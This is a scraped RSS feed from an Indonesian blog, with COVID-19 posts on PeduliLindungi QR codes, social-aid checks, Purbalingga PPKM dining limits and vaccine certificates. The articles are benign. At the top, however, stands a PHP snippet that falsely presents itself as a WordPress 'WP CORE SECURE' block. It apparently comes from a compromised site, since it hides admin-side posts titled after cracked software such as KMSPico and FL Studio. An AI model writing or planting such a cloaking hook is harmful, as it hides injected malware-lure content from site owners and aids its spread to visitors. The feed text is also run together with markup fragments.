# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURECovid-19 – BRALINK.ID
https://bralink.id
Catatan Jejak Satu Langkah KakiThu, 21 Oct 2021 05:00:08 +0000id
hourly
1 https://wordpress.org/?v=6.1.1120279298Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah
https://bralink.id/cara-mendapat-qr-code-pedulilindungi-bagi-instansi-pemerintah/
https://bralink.id/cara-mendapat-qr-code-pedulilindungi-bagi-instansi-pemerintah/#respondMon, 13 Sep 2021 14:25:58 +0000https://bralink.id/?p=7066Sesuai SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR CODE) yang terintegrasi dengan platform PeduliLindungi sebagai sarana untuk melakukan pemeriksaan dan pemantauan jumlah pegawai dan pengunjung dalam kantor. Adapun QR Code tersebut diperoleh sesuai dengan kebijakan yang dikeluarkan oleh Kementerian Kesehatan.
Berikut ini cara mendapatkan QR Code PeduliLindungi bagi Instansi Pemerintah :
Mengajukan surat permohonan ke registrasi.qrpl@kemkes.go.id
Setelah mengajukan permohonan, selanjutnya isi formulir untuk kepentingan QR Code.
Setelah proses pendaftaran berikutnya pendaftar akan menerima email yang berisi username dan pasword untuk diaktivasi
Setelah mengaktivasi, proses pendaftaran akan dinyatakan selesai
Berikut ini template surat permohonan QR Code PeduliLindungi :
]]>
https://bralink.id/cara-mendapat-qr-code-pedulilindungi-bagi-instansi-pemerintah/feed/07066SE Menteri PANRB -Instansi Pemerintah Agar Menerapkan Scan QR Code PeduliLi ndungi
https://bralink.id/se-menteri-panrb-instansi-pemerintah-agar-menerapkan-scan-qr-code-pedulili-ndungi/
https://bralink.id/se-menteri-panrb-instansi-pemerintah-agar-menerapkan-scan-qr-code-pedulili-ndungi/#respondMon, 13 Sep 2021 13:43:44 +0000https://bralink.id/?p=7062Tertanggal 6 September 2021 Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) mengeluarkan Surat Edaran (SE) MenterI PANRB Nomor 21 Tahun 2021 Tentang Penguatan Protokol Kesehatan Dalam Tata Kelola Instansi Pemerintahan Dalam Masa Pandemi Corona Virus Disease 2019.
Edaran tersebut merupakan tindak lanjut atas arahan Presiden terkait kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) dan dalam rangka antisipasi pembukaan sektor non esensial secara bertahap.
Isi dari SE Menpanrb Nomor 21 Tahun 2021 diantaranya tentang Penguatan Protokol Kesehatan Instansi Pemerintah, dimana Pejabat pembina Kepegawian pada Instansi Pemerintah agar :
Menggunakan platform PeduliLindungi untuk melakukan pemerikasan (skrining) terhadap semua pegawai dan pengunjung yang masuk ke lingkungan instansinya.
Menerapkan scan digital code (QR CODE) yang terintegrasi dengan platform PeduliLindungi sebagai sarana untuk melakukan pemeriksaan dan pemantauan jumlah pegawai dan pengunjung dalam kantor. Adapun QR Code tersebut diperoleh sesuai dengan kebijakan yang dikeluarkan oleh Kementerian Kesehatan, dan
Melakukan penguatan peran tim penanganan Covid-19 sebagai pusat krisis (Crisis Center) di lingkungan instansi masing-masing sesuai SE Menteri PANRB Nomor 69 Tahun 2020
]]>https://bralink.id/se-menteri-panrb-instansi-pemerintah-agar-menerapkan-scan-qr-code-pedulili-ndungi/feed/07062Cara Cek Penerima Manfaat Bansos
https://bralink.id/cara-cek-penerima-manfaat-bansos/
https://bralink.id/cara-cek-penerima-manfaat-bansos/#respondThu, 29 Jul 2021 08:48:42 +0000https://bralink.id/?p=6932Kementerian Sosial RI (Kemensos) mengembangkan aplikasi web yang dapat dimanfaatkan oleh masyarakat untuk pengecekan data Penerima Manfaat Bantuan Sosial Baik Bantuan Pangan Non Tunai (BPNT), Bantuan Sosial Tunai (BST) maupun Program Keluarga Harapan (PKH) sesuai wilayah yang diinputkan.
Selanjutnya untuk pencarian data penerima manfaat :
Masukkan Provinsi, Kabupaten, Kecamatan, dan Desa/Kelurahan, lalu
masukkan nama PM (Penerima Manfaat) sesuai KTP,
Ketikkan 8 huruf kode (dipisahkan spasi) yang tertera dalam kotak kode, Jika huruf kode kurang jelas, klik icon untuk mendapatkan huruf kode baru,
Klik tombol CARI DATA
Hasil pencarian penerimaan manfaat akan menampilkan tabel yang memuat data nama, umur status penerima manfaat apakah menerima atau tidak menerima BPNT, BST dan PKH serta menampilkan periode penerimaan bantuan tersebut.
]]>https://bralink.id/cara-cek-penerima-manfaat-bansos/feed/06932Purbalingga PPKM Level 3, Makan Di Warung Maksimal 30 Menit
https://bralink.id/purbalingga-ppkm-level-3-makan-di-warung-maksimal-30-menit/
https://bralink.id/purbalingga-ppkm-level-3-makan-di-warung-maksimal-30-menit/#respondThu, 29 Jul 2021 03:53:37 +0000https://bralink.id/?p=6926Pemerintah Kabupaten Purbalingga melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3 Covid 19 untuk periode waktu dari tanggal 26 Juli hingga tanggal 2 Agustus 2021. Pelaksanaan PPKM Level 3 ini dalam rangka melaksanakan Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 24 Tahun 2021 tanggal 25 Juli 2021 tentang pemberlakuan PPKM Level 4 dan level 3 Covid-19 di Wilayah Jawa dan Bali.
Kabupaten Purbalingga merupakan salah satu Kabupaten / Kota yang tergolong kriteria level 3 yang wajib menerapkan PPKM Level 3 dengan pokok-pokok kebijakan antara lain yang mengatur tentang Pelaksanaan kegiatan makan / minum di tempat umum, sebagai berikut :
Warung makan / warteg, pedagang kaki lima, lapak jajanan dan sejenisnya diizinkan buka dengan protokol kesehatan yang ketat sampai dengan pukul 21.00 (WIB) dengan maksimal pengunjung makan 25% (dua puluh lima persen) dari kapasitas dan waktu makan maksimal 30 (tiga puluh) menit.
Restoran / rumah makan, kafe dengan lokasi yang berada dalam gedung / toko tertutup baik yang berada pada lokasi sendiri maupun yang berlokasi pada pusat perbelanjaan / mall hanya menerima delevery / take away dan tidak menerima makan ditempat (dine in)
]]>https://bralink.id/purbalingga-ppkm-level-3-makan-di-warung-maksimal-30-menit/feed/06926Mau Cetak Sertifikat Vaksin Covid Tapi SMS Terhapus, Begini Caranya
https://bralink.id/mau-cetak-sertifikat-vaksin-covid-tapi-sms-terhapus-begini-caranya/
https://bralink.id/mau-cetak-sertifikat-vaksin-covid-tapi-sms-terhapus-begini-caranya/#commentsThu, 01 Jul 2021 07:03:55 +0000https://bralink.id/?p=6885Pelaksanaan vaksinasi COVID-19 bertujuan untuk memutus rantai penularan penyakit dan menghentikan wabah COVID-19. Pemberian vaksin dilakukan dua kali dimana bagi masyarakat yang telah mengikuti program Vaksinasi ke satu akan menerima sms dari nomor 1199 berisi pemberitahuan alamat link sertifikat vaksin yang bisa di download dan di cetak untuk keperluan tertentu, selain itu juga akan ada sms pemberitahuan jadwan pelaksanaan vaksinasi kedua. Apabila sms tersebut terhapus maka sertifikat vaksin dapat diakses melalui aplikasi PeduliLindungi.
Kita juga dapat memeriksa Status Dalam Program Vaksinasi COVID-19 dengan cara memasukan nama lengkap dan NIK selanjutnya akan muncul notifikasi Status program vaksin Anda “Sudah vaksin pertama” atau belum vaksin.
Untuk mendownload Sertifikat vaksin berikut ini langkah-langkahnya :
Buka https://pedulilindungi.id/ pada browser internet. Selanjutnya akan muncul form persetujuan menerima segala isi Syarat Penggunaan dan Kebijakan Privasi yang baru.
selanjutnya akan muncul pertanyaan Sudah punya akun Peduli Lindungi?, klik login sekarang apabila sudah memiliki akun
atau klik Buat akun PeduliLindungi apabila Belum punya akun. Selanjutnya akan muncul form Daftar ke PeduliLindungi, isikan Nama Lengkap, Nomor Ponsel, Lalu klik peduli lindungi.
Berikutnya kita akan mendapat sms dari PEDULICOVID yang berisi kode OTP, lalu masukan kode OTP yang telah dikirimkan dan klik verifikasi.
Untuk mencetak sertifikat, klik pada menu Sertifikat Vaksin lalu klik pada buka sertifikat lalu klik unduh sertifikat.